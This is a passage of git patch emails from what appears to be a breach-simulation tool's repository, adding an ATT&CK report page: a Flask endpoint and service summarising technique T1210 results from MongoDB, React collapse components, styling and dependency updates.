      + + ); + } +} + +export default AttackReportPageComponent; From bc09d59eb4fa3fb1c449b1d3a8174259e18ad847 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Apr 2019 17:55:08 +0300 Subject: [PATCH 034/598] Report file structure created --- monkey/monkey_island/cc/app.py | 4 +- .../cc/resources/attack_report.py | 13 ++++ .../cc/services/attack/attack_report.py | 18 ++++++ .../attack/technique_reports/T1210.py | 28 +++++++++ .../attack/technique_reports/__init__.py | 0 .../technique_reports/technique_service.py | 17 ++++++ monkey/monkey_island/cc/ui/package-lock.json | 5 ++ monkey/monkey_island/cc/ui/package.json | 1 + .../cc/ui/src/components/Main.js | 4 +- .../cc/ui/src/components/attack/T1210.js | 33 ++++++++++ .../src/components/pages/AttackReportPage.js | 60 ++++++++++++++++++- .../cc/ui/src/styles/Collapse.scss | 4 ++ 12 files changed, 183 insertions(+), 4 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/attack_report.py create mode 100644 monkey/monkey_island/cc/services/attack/attack_report.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1210.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/__init__.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/T1210.js create mode 100644 monkey/monkey_island/cc/ui/src/styles/Collapse.scss diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index b7461bcca..a76774079 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -33,6 +33,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.attack_telem import AttackTelem from monkey_island.cc.resources.attack_config import AttackConfiguration +from monkey_island.cc.resources.attack_report import AttackReport __author__ = 'Barak' @@ -126,7 +127,8 @@ def init_app(mongo_url): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') - api.add_resource(AttackConfiguration, '/api/attack') api.add_resource(AttackTelem, '/api/attack/') + api.add_resource(AttackReport, '/api/attack/report') + api.add_resource(AttackConfiguration, '/api/attack') return app diff --git a/monkey/monkey_island/cc/resources/attack_report.py b/monkey/monkey_island/cc/resources/attack_report.py new file mode 100644 index 000000000..82987dde9 --- /dev/null +++ b/monkey/monkey_island/cc/resources/attack_report.py @@ -0,0 +1,13 @@ +import flask_restful +from flask import jsonify +from cc.auth import jwt_required +from cc.services.attack.attack_report import AttackReportService + +__author__ = "itay.mizeretz" + + +class AttackReport(flask_restful.Resource): + + @jwt_required() + def get(self): + return jsonify(AttackReportService.get_report()) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py new file mode 100644 index 000000000..a3182545a --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -0,0 +1,18 @@ +import logging +from cc.services.attack.technique_reports import T1210 + +__author__ = "VakarisZ" + + +logger = logging.getLogger(__name__) + + +class AttackReportService: + def __init__(self): + pass + + @staticmethod + def get_report(): + report = {} + report.update({'T1210': T1210.get_report_data()}) + return report diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py new file mode 100644 index 000000000..20cdcc9f3 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -0,0 +1,28 @@ +from monkey_island.cc.services.attack.technique_reports.technique_service import technique_status, technique_title +from common.utils.attack_status_enum import ScanStatus +from cc.services.report import ReportService + +__author__ = "VakarisZ" + +TECHNIQUE = "T1210" +UNSCANNED_MSG = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" +SCANNED_MSG = "Monkey scanned for remote services on the network, but couldn't exploit any of them." +USED_MSG = "Monkey scanned for remote services and exploited some on the network." + + +def get_report_data(): + data = {} + status = technique_status(TECHNIQUE) + title = technique_title(TECHNIQUE) + data.update({'status': status.name, 'title': title}) + if status == ScanStatus.UNSCANNED: + data.update({'message': UNSCANNED_MSG}) + return data + elif status == ScanStatus.SCANNED: + data.update({'message': SCANNED_MSG}) + else: + data.update({'message': USED_MSG}) + data.update({'scanned_machines': ReportService.get_scanned()}) + data.update({'exploited_machines': ReportService.get_exploited()}) + return data + diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py new file mode 100644 index 000000000..d064783ed --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py @@ -0,0 +1,17 @@ +from cc.database import mongo +from common.utils.attack_status_enum import ScanStatus + +__author__ = "VakarisZ" + + +def technique_status(technique): + if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': technique}): + return ScanStatus.USED + elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': technique}): + return ScanStatus.SCANNED + else: + return ScanStatus.UNSCANNED + + +def technique_title(technique): + return technique+" title from SCHEMA" diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 21cd1e89c..c3dc196e2 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -221,6 +221,11 @@ } } }, + "@kunukn/react-collapse": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.0.5.tgz", + "integrity": "sha512-688uUFLgwXWf9+rtE3hvYn3f43cjG6v/LzWDgcEGjoAV0b22VGbhDe5T1BAqujmjJ89IcJXKz1L8QW+5nu0fMQ==" + }, "@webassemblyjs/ast": { "version": "1.7.8", "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.7.8.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index aad5ddf18..9d5277954 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -64,6 +64,7 @@ "webpack-dev-server": "^3.1.9" }, "dependencies": { + "@kunukn/react-collapse": "^1.0.5", "bootstrap": "3.3.7", "core-js": "^2.5.7", "downloadjs": "^1.4.7", diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 0d793c7d4..7af05f6cb 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -15,6 +15,7 @@ import LicensePage from 'components/pages/LicensePage'; import AuthComponent from 'components/AuthComponent'; import LoginPageComponent from 'components/pages/LoginPage'; import AttckPage from 'components/pages/AttackPage' +import AttackReportPage from 'components/pages/AttackReportPage'; import 'normalize.css/normalize.css'; import 'react-data-components/css/table-twbs.css'; @@ -156,7 +157,7 @@ class AppComponent extends AuthComponent {
    • 5. - Security Report + ATT&CK report {this.state.completedSteps.attack_report_done ? : ''} @@ -197,6 +198,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} + {this.renderRoute('/attack_report', )} {this.renderRoute('/license', )} {this.renderRoute('/attack', )} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js new file mode 100644 index 000000000..d169ec069 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js @@ -0,0 +1,33 @@ +import React from 'react'; +import ReactTable from 'react-table' +import '../../styles/Collapse.scss' +import Collapse from '@kunukn/react-collapse'; + +let renderArray = function(val) { + return
      {val.map(x =>
      {x}
      )}
      ; +}; + +let renderIpAddresses = function (val) { + return
      {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
      ; +}; + +const columns = [ +]; + +const pageSize = 10; + +class T1210 extends React.Component { + constructor(props) { + super(props); + } + render() { + console.log(this.props); + return ( + +
      {this.props.data.message}
      +
      + ); + } +} + +export default T1210; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js index 298ca7ab7..08aa63635 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js @@ -3,21 +3,77 @@ import {Button, Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; import AuthComponent from '../AuthComponent'; +import T1210 from '../attack/T1210' class AttackReportPageComponent extends AuthComponent { constructor(props) { super(props); this.state = { + report: {}, + allMonkeysAreDead: false, + runStarted: true }; } + componentDidMount() { + this.updateMonkeysRunning().then(res => this.getReportFromServer(res)); + } + + updateMonkeysRunning = () => { + return this.authFetch('/api') + .then(res => res.json()) + .then(res => { + // This check is used to prevent unnecessary re-rendering + this.setState({ + allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), + runStarted: res['completed_steps']['run_monkey'] + }); + return res; + }); + }; + + getReportFromServer(res) { + if (res['completed_steps']['run_monkey']) { + this.authFetch('/api/attack/report') + .then(res => res.json()) + .then(res => { + this.setState({ + report: res + }); + }); + } + } + + generateReportContent(){ + let content = ''; + Object.keys(this.state.report).forEach((Technique) => { + content = ; + }); + return content + } + render() { + console.log(React.version); + let content; + if (Object.keys(this.state.report).length === 0) { + if (this.state.runStarted) { + content = (

      Generating Report...

      ); + } else { + content = +

      + + You have to run a monkey before generating a report! +

      ; + } + } else { + content = this.generateReportContent(); + } return ( -

      5.ATT&CK techniques report

      +

      5. ATT&CK Report

      - ATT&CK techniques report + {content}
      ); diff --git a/monkey/monkey_island/cc/ui/src/styles/Collapse.scss b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss new file mode 100644 index 000000000..5f7371475 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss @@ -0,0 +1,4 @@ +.collapse-css-transition { + transition: height 300ms cubic-bezier(0.4, 0, 0.2, 1); + overflow: hidden; +} From 4d6f4037105f582b2bb17c1e9af87d9f046a047a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 3 Apr 2019 18:16:51 +0300 Subject: [PATCH 035/598] UI improved, collapse component almost added --- .../cc/services/attack/attack_config.py | 14 ++ .../technique_reports/technique_service.py | 5 +- monkey/monkey_island/cc/ui/package-lock.json | 14 +- monkey/monkey_island/cc/ui/package.json | 1 + .../src/components/pages/AttackReportPage.js | 47 ++++++- .../cc/ui/src/styles/Collapse.scss | 132 ++++++++++++++++++ 6 files changed, 199 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index c153a40f7..4957fac98 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -14,6 +14,20 @@ def get_config(): return config +def get_technique(technique_id): + """ + Gets technique by id + :param technique_id: E.g. T1210 + :return: Technique object or false if technique is not found + """ + attack_config = get_config() + for key, attack_type in attack_config['properties'].items(): + for key, technique in attack_type['properties'].items(): + if key == technique_id: + return technique + return False + + def get_config_schema(): return SCHEMA diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py index d064783ed..3799dfde0 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py @@ -1,5 +1,6 @@ -from cc.database import mongo +from monkey_island.cc.database import mongo from common.utils.attack_status_enum import ScanStatus +from monkey_island.cc.services.attack.attack_config import get_technique __author__ = "VakarisZ" @@ -14,4 +15,4 @@ def technique_status(technique): def technique_title(technique): - return technique+" title from SCHEMA" + return get_technique(technique)['title'] diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index c3dc196e2..b266d05eb 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -2764,9 +2764,9 @@ } }, "classnames": { - "version": "2.2.5", - "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.5.tgz", - "integrity": "sha1-+zgB1FNGdknvNgPH1hoCvRKb3m0=" + "version": "2.2.6", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz", + "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==" }, "clean-css": { "version": "4.1.11", @@ -13924,7 +13924,7 @@ "integrity": "sha512-xj+JfaPOvnvr3ow0aHC7Y3HaBKZNR1mm361hVxVzVX3fcdJNIrfiodbQ0m9nLBpNxiKG6FTU2lq/SbTDYT2vew==", "requires": { "@babel/runtime-corejs2": "7.1.5", - "classnames": "2.2.5", + "classnames": "2.2.6", "dom-helpers": "3.4.0", "invariant": "2.2.4", "keycode": "2.2.0", @@ -14102,7 +14102,7 @@ "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz", "integrity": "sha512-h6GT3jgy90PgctleP39Yu3eK1v9vaJAW73GOA/UbN9dJ7aAN4BTZD6793eI1D5U+ukMk17qiqN/wl3diK1Z5LA==", "requires": { - "classnames": "2.2.5", + "classnames": "2.2.6", "dom-helpers": "3.4.0", "prop-types": "15.6.2", "prop-types-extra": "1.1.0", @@ -14226,7 +14226,7 @@ "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.6.tgz", "integrity": "sha1-oK2LSDkxkFLVvvwBJgP7Fh5S7eM=", "requires": { - "classnames": "2.2.5" + "classnames": "2.2.6" } }, "react-toggle": { @@ -14234,7 +14234,7 @@ "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.0.2.tgz", "integrity": "sha512-EPTWnN7gQHgEAUEmjheanZXNzY5TPnQeyyHfEs3YshaiWZf5WNjfYDrglO5F1Hl/dNveX18i4l0grTEsYH2Ccw==", "requires": { - "classnames": "2.2.5" + "classnames": "2.2.6" } }, "react-tooltip-lite": { diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 9d5277954..d0ef4f0f3 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -66,6 +66,7 @@ "dependencies": { "@kunukn/react-collapse": "^1.0.5", "bootstrap": "3.3.7", + "classnames": "^2.2.6", "core-js": "^2.5.7", "downloadjs": "^1.4.7", "fetch": "^1.1.0", diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js index 08aa63635..0a2d8d6f0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js @@ -3,7 +3,15 @@ import {Button, Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; import AuthComponent from '../AuthComponent'; -import T1210 from '../attack/T1210' +import Collapse from '@kunukn/react-collapse'; +import T1210 from '../attack/T1210'; +import '../../styles/Collapse.scss' + +const tech_components = { + 'T1210': T1210 +}; + +const classNames = require('classnames'); class AttackReportPageComponent extends AuthComponent { @@ -45,16 +53,45 @@ class AttackReportPageComponent extends AuthComponent { } } + state = { + index: 1, + }; + + onToggle = () => { + this.setState(state => ({ isOpen: !state.isOpen })); + }; + + getTechniqueCollapse(technique){ + const TechniqueComponent = tech_components[technique]; + return ( +
      + + { + this.setState({ item1: collapseState }); + }} + onInit={({ collapseState }) => { + this.setState({ item1: collapseState }); + }}> + + +
      + ); + } + generateReportContent(){ let content = ''; - Object.keys(this.state.report).forEach((Technique) => { - content = ; + Object.keys(this.state.report).forEach((technique) => { + content = this.getTechniqueCollapse(technique) }); - return content + return
      {content}
      } render() { - console.log(React.version); let content; if (Object.keys(this.state.report).length === 0) { if (this.state.runStarted) { diff --git a/monkey/monkey_island/cc/ui/src/styles/Collapse.scss b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss index 5f7371475..f01ef40c4 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Collapse.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss @@ -1,3 +1,135 @@ +$transition: 350ms cubic-bezier(0.4, 0, 0.2, 1); + +* { + box-sizing: border-box; +} + +:root { + font-size: 10px; +} + +body { + font: 1.6rem / 1.5 "Montserrat", sans-serif; + margin: 0; + min-height: 100vh; + font-size: 1.6rem; + overflow-y: scroll; +} + +p { + margin: 0; +} + +button { + font-size: inherit; + margin: 0; + padding: 1rem; + background: transparent; + border: 1px solid #ccc; + box-shadow: none; + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); +} + +img { + vertical-align: bottom; + max-width: 100%; + height: auto; +} + +a { + color: black; + font-size: inherit; +} + +h2 { + margin: 0.5rem; +} + +.info { + margin-bottom: 3rem; + text-align: center; + padding: 1rem; +} + +.app { + min-height: 100vh; + max-width: 500px; + margin: 0 auto; + padding: 1rem; +} + +.btn { + width: 100%; + box-shadow: 0 2px 6px #ccc; + border: none; + transition: background-color $transition; + font-family: inherit; + display: flex; + justify-content: space-between; + align-items: center; + > span { + } +} + +.item { + padding: 0.5rem; + &--active { + .btn { + background-color: #f7f7f7; + } + } +} + +.collapse { + transition: height $transition; + overflow: hidden; +} + +.content { + padding: 2rem 0; + transition: transform $transition; + will-change: transform; + $offset: 10px; + + &.collapsing { + transform: translateY(-$offset); + } + &.collapsed { + transform: translateY(-$offset); + } + &.expanding { + transform: translateX(0px); + } + &.expanded { + transform: translateX(0px); + } +} + +.text { + margin-bottom: 1rem; +} + +.state { + display: inline-block; + min-width: 6em; +} + + +.image-wrapper { + position: relative; + max-width: 500px; + height: 0; + padding-bottom: 40%; + margin-bottom: 1rem; + background: #eee; + + &__img { + object-fit: cover; + width: 100%; + position: absolute; + } +} + .collapse-css-transition { transition: height 300ms cubic-bezier(0.4, 0, 0.2, 1); overflow: hidden; From 5ff7eba12f31aac785f8c7d804e012898855a3ed Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 4 Apr 2019 17:21:02 +0300 Subject: [PATCH 036/598] ATT&CK report page UI implemented --- .../technique_reports/technique_service.py | 4 +- monkey/monkey_island/cc/ui/package-lock.json | 33 +++-- monkey/monkey_island/cc/ui/package.json | 2 +- .../cc/ui/src/components/attack/T1210.js | 1 - .../src/components/pages/AttackReportPage.js | 69 +++++++--- monkey/monkey_island/cc/ui/src/styles/App.css | 23 +++- .../cc/ui/src/styles/Collapse.scss | 120 ++++++------------ 7 files changed, 134 insertions(+), 118 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py index 3799dfde0..9533ae0b9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py @@ -1,6 +1,6 @@ -from monkey_island.cc.database import mongo +from cc.database import mongo from common.utils.attack_status_enum import ScanStatus -from monkey_island.cc.services.attack.attack_config import get_technique +from cc.services.attack.attack_config import get_technique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index b266d05eb..d409681f1 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -126,18 +126,23 @@ } }, "@babel/runtime-corejs2": { - "version": "7.1.5", - "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.1.5.tgz", - "integrity": "sha512-WsYRwQsFhVmxkAqwypPTZyV9GpkqMEaAr2zOItOmqSX2GBFaI+eq98CN81e13o0zaUKJOQGYyjhNVqj56nnkYg==", + "version": "7.4.3", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.4.3.tgz", + "integrity": "sha512-anTLTF7IK8Hd5f73zpPzt875I27UaaTWARJlfMGgnmQhvEe1uNHQRKBUbXL0Gc0VEYiVzsHsTPso5XdK8NGvFg==", "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.12.1" + "core-js": "2.6.5", + "regenerator-runtime": "0.13.2" }, "dependencies": { + "core-js": { + "version": "2.6.5", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.5.tgz", + "integrity": "sha512-klh/kDpwX8hryYL14M9w/xei6vrv6sE8gTHDG7/T/+SEovB/G4ejwcfE/CBzO6Edsu+OETZMZ3wcX/EjUkrl5A==" + }, "regenerator-runtime": { - "version": "0.12.1", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz", - "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg==" + "version": "0.13.2", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.2.tgz", + "integrity": "sha512-S/TQAZJO+D3m9xeN1WTI8dLKBBiRgXBlTJvbWjCThHWZj9EvHK70Ff50/tYj2J/fvBY6JtFVwRuazHN2E7M9BA==" } } }, @@ -13923,7 +13928,7 @@ "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.4.tgz", "integrity": "sha512-xj+JfaPOvnvr3ow0aHC7Y3HaBKZNR1mm361hVxVzVX3fcdJNIrfiodbQ0m9nLBpNxiKG6FTU2lq/SbTDYT2vew==", "requires": { - "@babel/runtime-corejs2": "7.1.5", + "@babel/runtime-corejs2": "7.4.3", "classnames": "2.2.6", "dom-helpers": "3.4.0", "invariant": "2.2.4", @@ -13932,7 +13937,7 @@ "prop-types-extra": "1.1.0", "react-overlays": "0.8.3", "react-prop-types": "0.4.0", - "react-transition-group": "2.5.0", + "react-transition-group": "2.8.0", "uncontrollable": "5.1.0", "warning": "3.0.0" }, @@ -14106,7 +14111,7 @@ "dom-helpers": "3.4.0", "prop-types": "15.6.2", "prop-types-extra": "1.1.0", - "react-transition-group": "2.5.0", + "react-transition-group": "2.8.0", "warning": "3.0.0" } }, @@ -14247,9 +14252,9 @@ } }, "react-transition-group": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.5.0.tgz", - "integrity": "sha512-qYB3JBF+9Y4sE4/Mg/9O6WFpdoYjeeYqx0AFb64PTazVy8RPMiE3A47CG9QmM4WJ/mzDiZYslV+Uly6O1Erlgw==", + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.8.0.tgz", + "integrity": "sha512-So23a1MPn8CGoW5WNU4l0tLiVkOFmeXSS1K4Roe+dxxqqHvI/2XBmj76jx+u96LHnQddWG7LX8QovPAainSmWQ==", "requires": { "dom-helpers": "3.4.0", "loose-envify": "1.4.0", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index d0ef4f0f3..456fdab1f 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -65,7 +65,7 @@ }, "dependencies": { "@kunukn/react-collapse": "^1.0.5", - "bootstrap": "3.3.7", + "bootstrap": "^3.3.7", "classnames": "^2.2.6", "core-js": "^2.5.7", "downloadjs": "^1.4.7", diff --git a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js index d169ec069..ed36aa75d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js @@ -21,7 +21,6 @@ class T1210 extends React.Component { super(props); } render() { - console.log(this.props); return (
      {this.props.data.message}
      diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js index 0a2d8d6f0..b34e45dde 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js @@ -1,5 +1,5 @@ import React from 'react'; -import {Button, Col} from 'react-bootstrap'; +import {Button, Col, Row, TabContainer} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; import AuthComponent from '../AuthComponent'; @@ -20,7 +20,8 @@ class AttackReportPageComponent extends AuthComponent { this.state = { report: {}, allMonkeysAreDead: false, - runStarted: true + runStarted: true, + index: 1 }; } @@ -53,40 +54,56 @@ class AttackReportPageComponent extends AuthComponent { } } - state = { - index: 1, - }; + onToggle = index => + this.setState(state => ({ index: state.index === index ? null : index })); - onToggle = () => { - this.setState(state => ({ isOpen: !state.isOpen })); - }; + getTechniqueCollapse(tech_id){ + switch (this.state.report[tech_id].status) { + case 'SCANNED': + var className = 'collapse-info'; + break; + case 'USED': + var className = 'collapse-danger'; + break; + default: + var className = 'collapse-default'; + } - getTechniqueCollapse(technique){ - const TechniqueComponent = tech_components[technique]; return ( -
      - { this.setState({ item1: collapseState }); }} onInit={({ collapseState }) => { this.setState({ item1: collapseState }); - }}> - - + }} + render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/> +
      + ); + } + + createTechniqueContent(collapseState, technique) { + const TechniqueComponent = tech_components[technique]; + return ( +
      +
      ); } generateReportContent(){ let content = ''; - Object.keys(this.state.report).forEach((technique) => { - content = this.getTechniqueCollapse(technique) + Object.keys(this.state.report).forEach((tech_id) => { + content = this.getTechniqueCollapse(tech_id) }); return
      {content}
      } @@ -109,6 +126,20 @@ class AttackReportPageComponent extends AuthComponent { return (

      5. ATT&CK Report

      +
      {content}
      diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 8b1c45d7a..83a844670 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -516,7 +516,28 @@ body { } -/* Attack config page */ +/* Attack pages */ .attack-matrix .messages { margin-bottom: 30px; } + +.icon-info { + color: #ade3eb !important; +} + +.icon-warning { + color: #f0ad4e !important; +} + +.icon-danger { + color: #d9acac !important; +} + +.icon-default { + color: #e0ddde !important; +} + +.attack-legend { + text-align: center; + margin-bottom: 20px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/Collapse.scss b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss index f01ef40c4..e2d7d334a 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Collapse.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss @@ -1,26 +1,10 @@ -$transition: 350ms cubic-bezier(0.4, 0, 0.2, 1); +$transition: 500ms cubic-bezier(0.4, 0.1, 0.1, 0.5); -* { - box-sizing: border-box; -} +$danger-color: #d9acac; +$info-color: #ade3eb; +$default-color: #e0ddde; -:root { - font-size: 10px; -} - -body { - font: 1.6rem / 1.5 "Montserrat", sans-serif; - margin: 0; - min-height: 100vh; - font-size: 1.6rem; - overflow-y: scroll; -} - -p { - margin: 0; -} - -button { +.collapse-item button { font-size: inherit; margin: 0; padding: 1rem; @@ -30,62 +14,59 @@ button { -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } -img { - vertical-align: bottom; - max-width: 100%; - height: auto; +.collapse-item button span:first-child{ + text-align:left; } -a { - color: black; - font-size: inherit; -} - -h2 { - margin: 0.5rem; -} - -.info { - margin-bottom: 3rem; - text-align: center; - padding: 1rem; -} - -.app { - min-height: 100vh; - max-width: 500px; - margin: 0 auto; - padding: 1rem; -} - -.btn { +.collapse-item button { width: 100%; box-shadow: 0 2px 6px #ccc; border: none; transition: background-color $transition; - font-family: inherit; display: flex; - justify-content: space-between; - align-items: center; - > span { + font-family: inherit; + > span { + display: inline-block; + flex: 4; + text-align: right; + + &:nth-child(2) { + flex: 3; + } } } -.item { +.collapse-danger { + background-color: $danger-color !important; +} + +.collapse-info { + background-color: $info-color !important; +} + +.collapse-default { + background-color: $default-color !important; +} + +.collapse-item { padding: 0.5rem; &--active { - .btn { + .btn-collapse { background-color: #f7f7f7; } } } -.collapse { +.collapse-item .collapse-comp { + padding: 0 7px 7px 7px; + border: 2px solid rgb(232, 228, 228); + border-top: 0; + display:block !important; transition: height $transition; overflow: hidden; } -.content { +.collapse-item .content { padding: 2rem 0; transition: transform $transition; will-change: transform; @@ -94,7 +75,7 @@ h2 { &.collapsing { transform: translateY(-$offset); } - &.collapsed { + &.collapse-comp { transform: translateY(-$offset); } &.expanding { @@ -105,32 +86,11 @@ h2 { } } -.text { +.collapse-item .text { margin-bottom: 1rem; } -.state { +.collapse-item .state { display: inline-block; min-width: 6em; } - - -.image-wrapper { - position: relative; - max-width: 500px; - height: 0; - padding-bottom: 40%; - margin-bottom: 1rem; - background: #eee; - - &__img { - object-fit: cover; - width: 100%; - position: absolute; - } -} - -.collapse-css-transition { - transition: height 300ms cubic-bezier(0.4, 0, 0.2, 1); - overflow: hidden; -} From c3d717a6bf0be56cb6c799034ad3b22530437bbe Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 5 